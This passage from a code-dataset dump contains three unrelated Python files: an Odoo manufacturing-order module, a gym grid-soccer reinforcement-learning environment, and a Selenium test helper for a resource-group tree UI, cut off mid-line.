exceptions\nimport urllib\nimport unicodedata\nfrom datetime import datetime, timedelta\nfrom pytz import timezone\nimport openerp.addons.decimal_precision as dp\n\n\nclass MrpProductionStoreConsumption(models.TransientModel):\n _name = 'mrp.production.store.consumption'\n _order = 'order'\n\n production_id = fields.Many2one('mrp.production')\n product_id = fields.Many2one(comodel_name='product.product',\n string='Product')\n lot_id = fields.Many2one(comodel_name='stock.production.lot', string='Lot')\n quantity = fields.Float(digits=dp.get_precision('Product Unit of Measure'))\n uom_id = fields.Many2one(comodel_name='product.uom', string='UoM')\n order = fields.Integer()\n\n\nclass MrpProductionQualityConsumption(models.TransientModel):\n _name = 'mrp.production.quality.consumption'\n _order = 'order'\n\n production_id = fields.Many2one('mrp.production')\n product_id = fields.Many2one(comodel_name='product.product',\n string='Product')\n lot_id = fields.Many2one(comodel_name='stock.production.lot', string='Lot')\n quantity = fields.Float(digits=dp.get_precision('Product Unit of Measure'))\n uom_id = fields.Many2one(comodel_name='product.uom', string='UoM')\n order = fields.Integer()\n\n\nclass MrpProduction(models.Model):\n _inherit = 'mrp.production'\n\n product_tmpl_id = fields.Many2one(comodel_name='product.template',\n related='product_id.product_tmpl_id',\n readonly=True)\n next_lot = fields.Char(compute='_next_lot', readonly=True)\n use_date = fields.Datetime(related='final_lot_id.use_date')\n duration_type = fields.Selection(selection=[\n ('exact', 'Exact'),\n ('end_month', 'End of month'),\n ('end_year', 'End of year')\n ], related='final_lot_id.duration_type')\n time_planned = fields.Float(compute='_time_planned', readonly=True)\n notes = fields.Text()\n store_consumption_ids = fields.One2many(\n comodel_name='mrp.production.store.consumption',\n inverse_name='production_id',\n compute='_compute_consumption',\n string='Store consumption')\n quality_consumption_ids = fields.One2many(\n comodel_name='mrp.production.quality.consumption',\n inverse_name='production_id',\n compute='_compute_consumption',\n string='Quality consumption')\n hoards_quants_reserved = fields.Boolean(compute='_hoards_quants_reserved')\n production_warning = fields.Char(compute='_production_warning',\n readonly=True)\n picking_weight = fields.Float(\n digits=dp.get_precision('Product Unit of Measure'))\n return_weight = fields.Float(\n digits=dp.get_precision('Product Unit of Measure'))\n tare = fields.Float(digits=dp.get_precision('Product Unit of Measure'))\n calculate_consumption_button_pressed = fields.Boolean(default=False)\n\n @api.multi\n def _hoards_quants_reserved(self):\n for production in self:\n hoard_ids = production.hoard_ids.filtered(\n lambda h: h.state in ('assigned', 'partially_available'))\n production.hoards_quants_reserved = True if hoard_ids else False\n\n @api.multi\n def _production_warning(self):\n for production_id in self:\n if production_id.routing_id.code[0:3] == 'REP':\n production_id.production_warning = \\\n self.env['ir.config_parameter'].\\\n get_param('reprocessing_route_warning')\n else:\n production_id.production_warning = \\\n production_id.product_id.production_warning\n\n def _compute_consumptions(self):\n consumptions = []\n # Gathering pickings\n for po in self.hoard_ids.sudo().filtered(lambda p: p.state == 'done').\\\n mapped('pack_operation_ids'):\n idx = -1\n for i, obj in enumerate(consumptions):\n if obj['product_id'] == po.product_id.id and \\\n obj['lot_id'] == po.lot_id.id:\n idx = i\n if idx > -1:\n consumptions[idx]['quantity'] += po.product_qty\n else:\n bom_line_id = self.bom_id.bom_line_ids.\\\n filtered(lambda r: r.product_id == po.product_id)\n consumptions.append({\n 'production_id': self.id,\n 'product_id': po.product_id.id,\n 'lot_id': po.lot_id.id,\n 'quantity': po.product_qty,\n 'uom_id': po.product_uom_id.id,\n 'order': bom_line_id.sequence if bom_line_id else 999\n })\n\n # Return moves\n for m in self.move_lines2.sudo().filtered(\n lambda r: r.location_id.usage == 'internal' and\n r.location_dest_id.usage == 'internal'):\n idx = -1\n for i, obj in enumerate(consumptions):\n if obj['product_id'] == m.product_id.id and \\\n obj['lot_id'] == (m.lot_ids[0].id if m.lot_ids\n else False):\n idx = i\n if idx > -1:\n consumptions[idx]['quantity'] -= m.product_qty\n else:\n bom_line_id = self.bom_id.bom_line_ids.sudo().\\\n filtered(lambda r: r.product_id == m.product_id)\n consumptions.append({\n 'production_id': self.id,\n 'product_id': m.product_id.id,\n 'lot_id': m.lot_ids[0].id if m.lot_ids else False,\n 'quantity': -m.product_qty,\n 'uom_id': m.product_uom.id,\n 'order': bom_line_id.sequence if bom_line_id else 999\n })\n\n sc = self.env['mrp.production.store.consumption']\n sc.search([('production_id', '=', self.id)]).unlink()\n for c in consumptions:\n if c['quantity'] != 0:\n sc |= sc.create(c)\n\n # Return pickings\n for po in self.manual_return_pickings.sudo().\\\n filtered(lambda p: p.state == 'done').\\\n mapped('pack_operation_ids'):\n idx = -1\n for i, obj in enumerate(consumptions):\n if obj['product_id'] == po.product_id.id and \\\n obj['lot_id'] == po.lot_id.id:\n idx = i\n sign = -1 if po.location_dest_id.usage == 'internal' else 1\n if idx > -1:\n consumptions[idx]['quantity'] += po.product_qty * sign\n else:\n bom_line_id = self.bom_id.bom_line_ids.sudo().\\\n filtered(lambda r: r.product_id == po.product_id)\n consumptions.append({\n 'production_id': self.id,\n 'product_id': po.product_id.id,\n 'lot_id': po.lot_id.id,\n 'quantity': po.product_qty * sign,\n 'uom_id': po.product_uom_id.id,\n 'order': bom_line_id.sequence if bom_line_id else 999\n })\n\n qc = self.env['mrp.production.quality.consumption']\n qc.search([('production_id', '=', self.id)]).unlink()\n for c in consumptions:\n if c['quantity'] != 0:\n qc |= qc.create(c)\n\n return sc, qc\n\n @api.one\n def _compute_consumption(self):\n trying = True\n attempts = 10\n while trying and attempts > 0:\n try:\n sc, qc = self._compute_consumptions()\n self.store_consumption_ids = sc\n self.quality_consumption_ids = qc\n trying = False\n except:\n self.env.cr.commit()\n attempts -= 1\n continue\n if attempts == 0:\n self.env.invalidate_all()\n self.store_consumption_ids = self.\\\n env['mrp.production.store.consumption']\n self.quality_consumption_ids = self.\\\n env['mrp.production.quality.consumption']\n\n @api.one\n def _next_lot(self):\n if self.product_id and self.product_id.sequence_id:\n sequence = self.product_id.sequence_id\n else:\n sequence = self.env.ref('stock.sequence_production_lots')\n\n if sequence:\n d = sequence._interpolation_dict()\n prefix = sequence.prefix and sequence.prefix % d or ''\n suffix = sequence.suffix and sequence.suffix % d or ''\n self.next_lot = prefix + '%%0%sd' % sequence.padding % \\\n sequence.number_next_actual + suffix\n else:\n self.next_lot = False\n\n @api.multi\n def copy_from_lot(self):\n use_id = self.env['mrp.production.use.lot'].create({\n 'production_id': self.id\n })\n wizard = self.env.ref('mrp_production_ph.mrp_production_use_lot_wizard')\n return {\n 'name': _('Lot from which the use date and duration type are to be '\n 'copied'),\n 'type': 'ir.actions.act_window',\n 'view_type': 'form',\n 'view_mode': 'form',\n 'res_model': 'mrp.production.use.lot',\n 'views': [(wizard.id, 'form')],\n 'view_id': wizard.id,\n 'target': 'new',\n 'res_id': use_id.id,\n }\n\n def _search_oldest_raw_material_lot(self):\n if self.bom_id.bom_line_ids:\n lowest_sequence = min(self.bom_id.\\\n mapped('bom_line_ids.product_id.categ_id').\\\n filtered(lambda c: c.analysis_sequence > 0).\\\n mapped('analysis_sequence'))\n product_ids = self.bom_id.mapped('bom_line_ids.product_id').\\\n filtered(lambda p: p.categ_id.analysis_sequence == lowest_sequence)\n lot_ids = self.hoard_ids.sudo().\\\n mapped('move_lines.reserved_quant_ids').\\\n filtered(lambda q: q.product_id in product_ids).\\\n mapped('lot_id').sorted(key=lambda l: l.use_date)\n return lot_ids[0] if lot_ids else False\n else:\n return False\n\n \"\"\" Old code that calls wizard to choose one raw material lot\n @api.multi\n def add_suffix_from_lot(self):\n use_id = self.env['mrp.production.use.lot'].create({\n 'production_id': self.id\n })\n wizard = self.env.\\\n ref('mrp_production_ph.mrp_production_add_suffix_from_lot_wizard')\n return {\n 'name': _('Lot from which the year and serial suffix are to be '\n 'copied'),\n 'type': 'ir.actions.act_window',\n 'view_type': 'form',\n 'view_mode': 'form',\n 'res_model': 'mrp.production.use.lot',\n 'views': [(wizard.id, 'form')],\n 'view_id': wizard.id,\n 'target': 'new',\n 'res_id': use_id.id,\n }\n \"\"\"\n @api.multi\n def add_suffix_from_lot(self):\n rm_lot_id = self._search_oldest_raw_material_lot()\n if rm_lot_id:\n suffix = rm_lot_id.name\n aPos = [pos for pos, char in enumerate(suffix) if char == '-']\n if len(aPos) > 1:\n final_lot_id = self.final_lot_id\n # Using sudo() to avoid mail warnings about modified lot names\n final_lot_id.sudo().write({\n 'name': final_lot_id.name + suffix[aPos[-2]:],\n 'use_date': rm_lot_id.use_date,\n 'duration_type': rm_lot_id.duration_type\n })\n else:\n raise exceptions.Warning(_('Lot error'),\n _('The selected lot do not have the '\n 'expected suffix format.'))\n\n @api.multi\n def set_date_from_raw_material(self):\n lot_id = self._search_oldest_raw_material_lot()\n if lot_id:\n self.final_lot_id.write({\n 'use_date': lot_id.use_date,\n 'duration_type': lot_id.duration_type\n })\n\n @api.multi\n def action_call_update_display_url(self):\n def toASCII(text):\n return unicodedata.normalize('NFKD', text).encode('ascii', 'ignore')\n\n parameters = {\n 'manufact_order': toASCII(self.name),\n 'product': toASCII(self.product_id.name),\n 'quantity': self.product_qty,\n 'bill_of_materials': toASCII(self.bom_id.name),\n 'routing': toASCII(self.routing_id.name),\n 'final_lot': toASCII(self.final_lot_id.name),\n 'target_location': toASCII(self.location_dest_id.name),\n 'date_planned': self.date_planned,\n 'date_end_planned': self.date_end_planned,\n 'time_planned': self.time_planned\n }\n\n return {\n 'type': 'ir.actions.act_url',\n 'url': 'http://10.10.1.13/pantallas/producciones_odoo.php?' +\n urllib.urlencode(parameters),\n 'target': 'new',\n }\n\n @api.one\n @api.depends('date_planned', 'date_end_planned')\n def _time_planned(self):\n if not (self.date_planned and self.date_end_planned):\n self.time_planned = 0\n return False\n\n date_start_utc = fields.Datetime.from_string(self.date_planned)\n date_end_utc = fields.Datetime.from_string(self.date_end_planned)\n\n # Localize dates to operate with it correctly because shifts\n # are stored in local hours\n tz = timezone(self._context.get('tz') or self.env.user.tz or 'UTC')\n date_start = date_start_utc + tz.utcoffset(date_start_utc)\n date_end = date_end_utc + tz.utcoffset(date_end_utc)\n\n days = self.env['mrp.calendar.days'].search([\n ('day', '>=', date_start_utc.strftime('%Y-%m-%d')),\n ('day', '<=', date_end_utc.strftime('%Y-%m-%d')),\n ('holiday', '=', False)\n ], order='day')\n\n class context:\n date = date_start\n elapsed = date_end - date_start\n timewalker = date_start\n\n def travel_hours(start, end):\n if start != end:\n moment = datetime.combine(context.date, datetime.min.time()) + \\\n timedelta(seconds=start * 3600)\n if moment > context.timewalker:\n context.elapsed -= moment - context.timewalker\n context.timewalker = moment\n\n if end < start:\n context.date += timedelta(days=1)\n moment = datetime.combine(context.date, datetime.min.time()) + \\\n timedelta(seconds=end * 3600)\n if context.timewalker < moment:\n context.timewalker = moment\n\n for day in days:\n context.date = fields.Date.from_string(day.day)\n travel_hours(day.s1_start, day.s1_end)\n travel_hours(day.s2_start, day.s2_end)\n travel_hours(day.s3_start, day.s3_end)\n\n if date_end > context.timewalker:\n context.elapsed -= date_end - context.timewalker\n\n self.time_planned = context.elapsed.total_seconds() / 3600\n\n @api.multi\n def product_id_change(self, product_id, product_qty=0):\n res = super(MrpProduction, self).product_id_change(product_id,\n product_qty)\n if not res.get('domain', False):\n res['domain'] = {}\n product = self.env['product.product'].browse(product_id)\n if product.routing_ids:\n res['domain']['routing_id'] = [('product_ids', 'in', product.product_tmpl_id.id)]\n else:\n res['domain']['routing_id'] = [('wildcard_route', '=', True)]\n\n return res\n\n @api.multi\n def action_confirm(self):\n if self._context.get('from_wizard'):\n return super(MrpProduction, self).action_confirm()\n confirm_id = self.env['mrp.production.confirm'].create({\n 'production_id': self.id,\n 'product': self.product_id.name,\n 'bom': self.bom_id.name,\n 'routing': self.routing_id.name,\n 'final_lot': self.final_lot_id.name,\n 'next_lot': self.next_lot,\n 'quantity': self.product_qty,\n 'uom_id': self.product_uom.id\n })\n wizard = self.env.ref('mrp_production_ph.mrp_production_confirm_wizard')\n return {\n 'name': _('Is going to start the production of'),\n 'type': 'ir.actions.act_window',\n 'view_type': 'form',\n 'view_mode': 'form',\n 'res_model': 'mrp.production.confirm',\n 'views': [(wizard.id, 'form')],\n 'view_id': wizard.id,\n 'target': 'new',\n 'res_id': confirm_id.id,\n }\n\n @api.multi\n def action_stock_ldm_previsor(self):\n sa_id = self.env['stock.available'].create({\n 'product_id': self.product_id.product_tmpl_id.id,\n 'bom_id': self.bom_id.id,\n 'product_qty': self.product_qty\n })\n sa_id.action_compute()\n\n view_id = self.env.ref('stock_available_ph.stock_available_form_view')\n return {\n 'type': 'ir.actions.act_window',\n 'res_model': 'stock.available',\n 'view_type': 'form',\n 'view_mode': 'form',\n 'view_id': view_id.id,\n 'res_id': sa_id.id,\n 'target': 'current',\n 'context': self.env.context,\n }\n","sub_path":"project-addons/mrp_production_ph/models/mrp_production.py","file_name":"mrp_production.py","file_ext":"py","file_size_in_byte":17796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"47815815","text":"import logging\nimport gym\nfrom gym import spaces\nfrom gym.utils import seeding\nimport numpy as np\nimport matplotlib\n\nlogger = logging.getLogger(__name__)\n\n\nclass DeepSoccer(gym.Env):\n metadata = {\n 'render.modes': ['human', 'rgb_array'],\n 'video.frames_per_second': 10\n }\n\n move_vec = {\n 0: [0, 0],\n 1: [0, -1],\n 2: [-1, 0],\n 3: [0, 1],\n 4: [1, 0],\n }\n\n def __init__(self, num_players=1, height=4, width=7):\n self.num_players = num_players\n self.height = height\n self.width = width\n self.MAX_STEPS_IN_ONE_EPISODE = 2 * height * width\n # 1 stand, 4 direction, (N-1)teammates\n self.num_actions_for_one_player = 1 + 4 + num_players - 1\n self.num_actions_for_one_team = self.num_actions_for_one_player ** num_players\n self.action_space = spaces.Discrete(self.num_actions_for_one_team ** 2)\n self.observation_space = spaces.Box(\n np.zeros((height, width, 2 * num_players + 1), dtype=bool),\n np.ones((height, width, 2 * num_players + 1), dtype=bool),\n )\n self._seed()\n\n def _seed(self, seed=None):\n self.np_random, seed = seeding.np_random(seed)\n return [seed]\n\n def _reset(self):\n \"\"\"Randomly put the players on the grid and give the ball to someone.\n\n State of shape H*W*(2 * number of players + 1(ball))\n \"\"\"\n self.state = np.zeros(\n (self.height, self.width, 2 * self.num_players + 1), dtype=bool)\n # 1 Put players\n player_locations = self.np_random.randint(\n 0, self.height * (self.width // 2), 2 * self.num_players)\n for player in range(2 * self.num_players):\n if player < self.num_players:\n # team 0 on left half field\n self.state[(player + 1) * (self.height - 1) //\n (self.num_players + 1), int(np.ceil(self.width / 4)), player] = 1\n else:\n # team 1 on right half field\n self.state[self.height - 1 - (player - self.num_players + 1) * (self.height - 1) //\n (self.num_players + 1), self.width - 1 - int(np.ceil(self.width / 4)), player] = 1\n # 2 Give the ball to one player\n self.player_with_ball = self.np_random.choice(2 * self.num_players)\n self.state[:, :, -1] = self.state[:, :, self.player_with_ball]\n # 2 Put the ball in the middle\n # self.state[self.height // 2, self.width // 2, -1] = 1\n self.step_in_episode = 0\n return self.state\n\n def _step(self, action):\n # 1 Find the ball. Ball represented in state[:, :, -1]\n # ball_x, ball_y = self._onehot_to_index(self.state[:, :, -1])\n\n # 2 Determine who the ball will go with\n # Get all players standing at the ball's location\n # if self.player_with_ball < self.num_players:\n # opponents_at_ball = [player for player in range(self.num_players, 2 * self.num_players) if self.state[ball_x, ball_y, player]]\n # else:\n # opponents_at_ball = [player for player in range(self.num_players) if self.state[ball_x, ball_y, player]]\n # # The ball will go with this guy\n # self.player_with_ball = self.np_random.choice(\n # opponents_at_ball) if opponents_at_ball != [] else self.player_with_ball\n\n # 3 Step the players, for team 0 and team 1\n # During this process, the ball's owner may change (passing the ball)\n # Determine which team will go first to avoid overlapping\n self._actions = []\n t_action = action\n for i in range(2 * self.num_players):\n self._actions.append(t_action % self.num_actions_for_one_player)\n t_action //= self.num_actions_for_one_player\n if np.random.randint(2) == 0:\n self.player_with_ball = self._step_team(0, self.player_with_ball)\n self.player_with_ball = self._step_team(1, self.player_with_ball)\n else:\n self.player_with_ball = self._step_team(1, self.player_with_ball)\n self.player_with_ball = self._step_team(0, self.player_with_ball)\n\n # 4 Step the ball\n if self.player_with_ball is not None:\n self.state[:, :, -1] = self.state[:, :, self.player_with_ball]\n\n # 5 Judge, the goal have a height of 2 on the leftmost and rightmost side.\n reward = 0.0\n done = False\n new_ball_x, new_ball_y = self._onehot_to_index(self.state[:, :, -1])\n if new_ball_y == 0 and abs(new_ball_x - (self.height - 1) / 2) < 1:\n reward = -1.0\n done = True\n if new_ball_y == self.width - 1 and abs(new_ball_x - (self.height - 1) / 2) < 1:\n reward = 1.0\n done = True\n\n # Too many steps. Draw\n self.step_in_episode += 1\n if self.step_in_episode >= self.MAX_STEPS_IN_ONE_EPISODE:\n reward = 0.0\n done = True\n\n return self.state, reward, done, {}\n\n def _step_team(self, team, player_with_ball):\n new_player_with_ball = None\n for player in range(team * self.num_players, (team + 1) * self.num_players):\n action_t = self._actions[player]\n if action_t < 5:\n # Stand / move\n x, y = self._onehot_to_index(self.state[:, :, player])\n new_x, new_y = x + self.move_vec[action_t][0], y + self.move_vec[action_t][1]\n if not self._in_board(new_x, new_y):\n continue\n\n opponents_there = \\\n [player for player in range((1 - team) * self.num_players,\n (2 - team) * self.num_players)\\\n if self.state[new_x, new_y, player]]\n if opponents_there:\n # Can't move\n opponents_there = [opponent for opponent in opponents_there if self._actions[opponent] == 0]\n if opponents_there:\n # lose the ball\n new_player_with_ball = self.np_random.choice(opponents_there)\n else:\n self.state[x, y, player] = 0\n self.state[new_x, new_y, player] = 1\n # TODO enable passing the ball\n # else:\n # # Pass the ball only if you have the ball\n # if player_with_ball != player:\n # continue\n\n # # To whom you want to pass\n # target = action_t - 5 + team * self.num_players\n\n # # action doesn't include passing to oneself\n # # so fix the misalignment\n # if target >= player:\n # target += 1\n # # now target is from 0~N-1 for team0, N~2N-1 for team1,\n # # && target != player\n\n # if self._trajectory_clear(player, target):\n # new_player_with_ball = target\n if new_player_with_ball is not None:\n return new_player_with_ball\n else:\n return player_with_ball\n\n def _render(self, mode='human', close=False):\n \"\"\"Return rgb array (height, width, 3)\n\n Red for team A\n Green for the ball\n Blue for team B\n \"\"\"\n rendered_rgb = np.zeros([self.height, self.width, 3])\n rendered_rgb[:, :, 0] = np.sum(\n self.state[:, :, :self.num_players], axis=2)\n rendered_rgb[:, :, 1] = self.state[:, :, -1]\n rendered_rgb[:, :, 2] = np.sum(\n self.state[:, :, self.num_players:-1], axis=2)\n # show goal\n rendered_rgb[int(np.floor((self.height - 1) / 2)):1+int(np.ceil((self.height - 1) / 2)), 0, :] += 0.2\n rendered_rgb[int(np.floor((self.height - 1) / 2)):1+int(np.ceil((self.height - 1) / 2)), -1, :] += 0.2\n rendered_rgb /= np.max(rendered_rgb)\n # float to uint8\n rendered_rgb = (rendered_rgb * 255).round()\n # Amplifying the image\n rendered_rgb = np.kron(rendered_rgb, np.ones(\n (24, 24, 1))).astype(np.uint8)\n return rendered_rgb\n\n def _in_board(self, x, y):\n # Original setting hard coded\n return (0 <= x < self.height and 0 <= y < self.width)\\\n and not (x == 0 and y == 0) and not (x == 0 and y == self.width-1)\\\n and not (x == self.height-1 and y == 0) and not (x == self.height-1 and y == self.width-1)\n @staticmethod\n def _onehot_to_index(arr):\n \"\"\"Return the (x, y) indices of the one-hot 2d numpy array.\"\"\"\n return np.unravel_index(np.argmax(arr), arr.shape)\n\n MAX_PASSING_DISTANCE = 5\n\n def _trajectory_clear(self, holder, target):\n \"\"\"To see if people or ball on the line between the two player.\n\n Or the two players are too far away.\"\"\"\n x0, y0 = self._onehot_to_index(self.state[:, :, holder])\n x1, y1 = self._onehot_to_index(self.state[:, :, target])\n if (x0 - x1) ** 2 + (y0 - y1) ** 2 > DeepSoccer.MAX_PASSING_DISTANCE ** 2:\n return False\n trajectory = self._trajectory(x0, y0, x1, y1)\n # Take people and ball as obstacles\n obstacles = np.sum(self.state, axis=-1)\n\n for x, y in trajectory:\n if obstacles[x, y]:\n return False\n return True\n\n @staticmethod\n def _trajectory(x0, y0, x1, y1):\n \"\"\"Wrapper for compute trajectory between two points.\"\"\"\n rearranged_xy = False\n if abs(y0 - y1) > abs(x0 - x1):\n x0, y0, x1, y1 = y0, x0, y1, x1\n rearranged_xy = True\n if x0 > x1:\n x0, y0, x1, y1 = x1, y1, x0, y0\n trajectory = DeepSoccer._trajectory_Bresenham(x0, y0, x1, y1)\n if rearranged_xy:\n trajectory = [(y, x) for (x, y) in trajectory]\n return trajectory\n\n @staticmethod\n def _trajectory_Bresenham(x0, y0, x1, y1):\n \"\"\"Return the trajectory to pass the ball between two people.\n\n Refer to [Bresenham's line algorithm](https://en.wikipedia.org/wiki/Bresenham%27s_line_algorithm)\n\n Params should satisfy: abs(x1-x0) >= abs(y1-y0), x1 > x0\n \"\"\"\n trajectory = []\n dx, dy = x1 - x0, y1 - y0\n yi = 1\n if dy < 0:\n yi = -1\n dy = -dy\n y = y0\n D = 2 * dy - dx\n\n for x in range(x0, x1):\n trajectory.append((x, y))\n if D > 0:\n y = y + yi\n D -= 2 * dx\n D += 2 * dy\n\n return trajectory[1:]\n\n\nif __name__ == '__main__':\n s = DeepSoccer()\n print(s.reset())\n matplotlib.image.imsave('cqb.png', s.render())\n","sub_path":"Games/deep_soccer.py","file_name":"deep_soccer.py","file_ext":"py","file_size_in_byte":10684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"166485938","text":"#-*- coding:utf-8 -*-\n''' \n#文件名:\n#作者:陈圆圆\n#创建日期:\n#模块描述:资源组\n#历史修改记录\n#修改人:\n#修改日期:\n#修改内容:\n'''\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\nsys.path.append(\"/testIsomp/common/\")\nfrom _cnEncode import cnEncode\nfrom _icommon import getElement,frameElement\nsys.path.append(\"/testIsomp/webElement/department/\")\nfrom test_dptm_ment import Department\n\nclass Regroup(object):\n\n\tdef __init__(self, driver):\n\t\tself.driver = driver\n\t\tself.getElem = getElement(driver)\n\t\tself.frameElem = frameElement(driver)\n\t\tself.cnEn = cnEncode()\n\t\tself.dptment = Department(driver)\n\n\tu'''左边框点击资源组'''\n\tdef click_left_regroup(self):\n\t\tself.frameElem.from_frame_to_otherFrame(\"leftFrame\")\n\t\tself.getElem.find_element_wait_and_click_EC(\"id\", \"url0\")\n\n\tu'''点击资源组展开按钮'''\n\tdef click_regroup_switch(self):\n\t\tself.frameElem.from_frame_to_otherFrame(\"rigthFrame\")\n\t\tself.getElem.find_element_wait_and_click_EC(\"id\", \"resource_group_1_switch\")\n\n\tu'''点击基本操作\n\t parameter:\n\t - operation:代表基本操作0代表添加、1代表编辑、2代表上移、3代表下移、4代表删除\n\t - deptname:传入要被操作的部门名称\n\t - regroup:传入要被操作的资源组名称\n\t'''\n\tdef regroup_click_basic_operation(self, operation, deptname='no', regroup='no'):\n\t\tif deptname != 'no':\n\t\t\tself.dptment.click_basic_operation_public_method(deptname, \"resource_group_\", \"_switch\")\n\t\tif operation == 0:\n\t\t\t\tself.dptment.click_basic_operation_public_method(deptname, \"addBtn_resource_group_\")\n\t\telif regroup != 'no':\n\t\t\tif operation == 1:\n\t\t\t\tself.dptment.click_basic_operation_public_method(regroup, \"resource_group_\", \"_edit\")\n\t\t\telif operation == 2:\n\t\t\t\tself.dptment.click_basic_operation_public_method(regroup, \"toUpBtn_resource_group_\")\n\t\t\telif operation == 3:\n\t\t\t\tself.dptment.click_basic_operation_public_method(regroup, \"toDownBtn_resource_group_\")\n\t\t\telif operation == 4:\n\t\t\t\tself.dptment.click_basic_operation_public_method(regroup, \"resource_group_\", \"_remove\")\n\n\tu'''点击上移、下移按钮校验\n\t parameter:\n\t - operation:代表基本操作2代表上移、3代表下移\n\t - deptname:传入要被操作的部门���称\n\t - regroup:传入要被操作的资源组名称\n\t'''\n\tdef regroup_click_up_down_check(self, operation, deptname='no', regroup='no'):\n\t\tif deptname != 'no':\n\t\t\t#点击要操作部门的展开按钮\n\t\t\tself.dptment.click_basic_operation_public_method(deptname, \"resource_group_\", \"_switch\")\n\n\t\tself.frameElem.from_frame_to_otherFrame(\"rigthFrame\")\n\n\t\t#获取所有a标签对象\n\t\telems = self.driver.find_elements_by_tag_name(\"a\")\n\n\t\tfor elem in elems:\n\t\t\telemtext = elem.get_attribute(\"title\")\n\t\t\telemid = elem.get_attribute(\"id\")\n\n\t\t\t#判断传入要被操作的资源组和获取的文本是否相等\n\t\t\tif regroup == elemtext:\n\t\t\t\tself.getElem.find_element_wait_and_click(\"id\", elemid)\n\t\t\t\t#点击上移按钮\n\t\t\t\tif operation == 2:\n\t\t\t\t\t#移动次数\n\t\t\t\t\tlocates = range(self.regroup_return_locate_line(regroup))\n\t\t\t\t\tself.dptment.move_down_check(elemid, locates, \"toUpBtn_resource_group_\")\n\t\t\t\t#点击下移按钮\n\t\t\t\telif operation == 3:\n\t\t\t\t\tlocates = range(self.return_regroup_all_line() - self.regroup_return_locate_line(regroup))\n\t\t\t\t\tself.dptment.move_down_check(elemid, locates, \"toDownBtn_resource_group_\")\n\t\t\t\tbreak\n\n\tu'''返回在资源组树中位于第几行\n\t parameter:\n\t - regroup:传入要被操作的资源组\n\t'''\n\tdef regroup_return_locate_line(self, regroup):\n\n\t\tself.frameElem.from_frame_to_otherFrame(\"rigthFrame\")\n\t\telems = self.driver.find_elements_by_tag_name(\"a\")\n\t\t#位于第几行\n\t\tlocate = 0\n\t\tfor elem in elems:\n\t\t\telemid = elem.get_attribute(\"id\")\n\t\t\telemtext = elem.get_attribute(\"title\")\n\t\t\tselemid = self.cnEn.cnCode(elemid)\n\n\t\t\tsapnid = \"resource_group_\" + filter(str.isdigit, selemid) + \"_ico\"\n\t\t\tspanelem = self.getElem.find_element_with_wait_EC(\"id\", sapnid)\n\t\t\tspanclass = spanelem.get_attribute(\"class\")\n\n\t\t\tif spanclass == \"button icozy_ico_docu\":\n\t\t\t\tlocate += 1\n\t\t\t\tif regroup == elemtext:\n\t\t\t\t\treturn locate\n\n\tu'''返回在资源组总共几行'''\n\tdef return_regroup_all_line(self):\n\n\t\tself.frameElem.from_frame_to_otherFrame(\"rigthFrame\")\n\t\telems = self.driver.find_elements_by_tag_name(\"a\")\n\t\t#总共几行\n\t\tlocate = 0\n\t\tfor elem in elems:\n\t\t\telemid = elem.get_attribute(\"id\")\n\t\t\tselemid = self.cnEn.cnCode(elemid)\n\n\t\t\tsapnid = \"resource_group_\" + filter(str.isdigit, selemid) + \"_ico\"\n\t\t\tspanelem = self.getElem.find_element_with_wait_EC(\"id\", sapnid)\n\t\t\tspanclass = spanelem.get_attribute(\"class\")\n\n\t\t\tif spanclass == \"button icozy_ico_docu\":\n\n\t\t\t\tlocate += 1\n\n\t\treturn locate + 1\n\n\tu'''点击资源组添加资源按钮\n\t parameter:\n\t - regroup:传入要被操作的资源组名称\n\t - deptname:传入要被操作的部门名称\n\t'''\n\tdef click_regroup_add_resouce(self, regroup, deptname='no'):\n\n\t\tself.frameElem.from_frame_to_otherFrame(\"rigthFrame\")\n\t\tif deptname != 'no':\n\t\t\t#点击要操作部门的展开按钮\n\t\t\tself.dptment.click_basic_operation_public_method(deptname, \"resource_group_\", \"_switch\")\n\t\t#选中资源组\n\t\tself.dptment.click_basic_operation_public_method(regroup, \"resource_group_\", \"_span\")\n\n\t\tself.getElem.find_element_wait_and_click_EC(\"id\", \"add_Resource\")\n\n\tu'''点击资源组批量删除资源按钮\n\t parameter:\n\t - regroup:传入要被操作的资源组名称\n\t - deptname:传入要被操作的部门名称\n\t'''\n\tdef click_regroup_bulk_resouce(self, regroup, deptname='no'):\n\n\t\tself.frameElem.from_frame_to_otherFrame(\"rigthFrame\")\n\t\tif deptname != 'no':\n\t\t\t#点击要操作部门的展开按钮\n\t\t\tself.dptment.click_basic_operation_public_method(deptname, \"resource_group_\", \"_switch\")\n\t\t#选中资源组\n\t\tself.dptment.click_basic_operation_public_method(regroup, \"resource_group_\", \"_span\")\n\t\tself.check_delect_all()\n\n\t\tself.getElem.find_element_wait_and_click_EC(\"id\", \"delete_Resource\")\n\n\tu'''点击资源组删除资源按钮\n\t parameter:\n\t - regroup:传入要被操作的资源组名称\n\t - rename:资源名称\n\t - deptname:传入要被操作的部门名称\n\t'''\n\tdef click_regroup_del_resouce(self, regroup, rename, deptname='no'):\n\n\t\tself.frameElem.from_frame_to_otherFrame(\"rigthFrame\")\n\t\tif deptname != 'no':\n\t\t\t#点击要操作部门的展开按钮\n\t\t\tself.dptment.click_basic_operation_public_method(deptname, \"resource_group_\", \"_switch\")\n\t\t#选中资源组\n\t\tself.dptment.click_basic_operation_public_method(regroup, \"resource_group_\", \"_span\")\n\n\t\t#获取table对象\n\t\ttableelem = self.getElem.find_element_with_wait_EC(\"id\", \"ta\")\n\t\t#获取table对象下的所有tr\n\t\ttrelems = tableelem.find_elements_by_tag_name(\"tr\")\n\t\t#位于第几行\n\t\tline = 0\n\n\t\t#循环所有tr\n\t\tfor trelem in trelems:\n\t\t\tline += 1\n\t\t\t#找到tr下所有td对象\n\t\t\ttds = trelem.find_elements_by_tag_name(\"td\")\n\t\t\t#获取td[2]的文本\n\t\t\ttdtext = tds[2].text\n\t\t\tif tdtext == rename:\n\t\t\t\txpath = \"/html/body/div/div[2]/div[7]/div/table/tbody/tr[\" + str(line) + \"]/td[6]/input\"\n\t\t\t\tself.getElem.find_element_wait_and_click_EC(\"xpath\", xpath)\n\t\t\t\tbreak\n\n\tu'''勾选资源组全选删除框'''\n\tdef check_delect_all(self):\n\n\t\tself.frameElem.from_frame_to_otherFrame(\"rigthFrame\")\n\t\tself.getElem.find_element_wait_and_click_EC(\"id\", 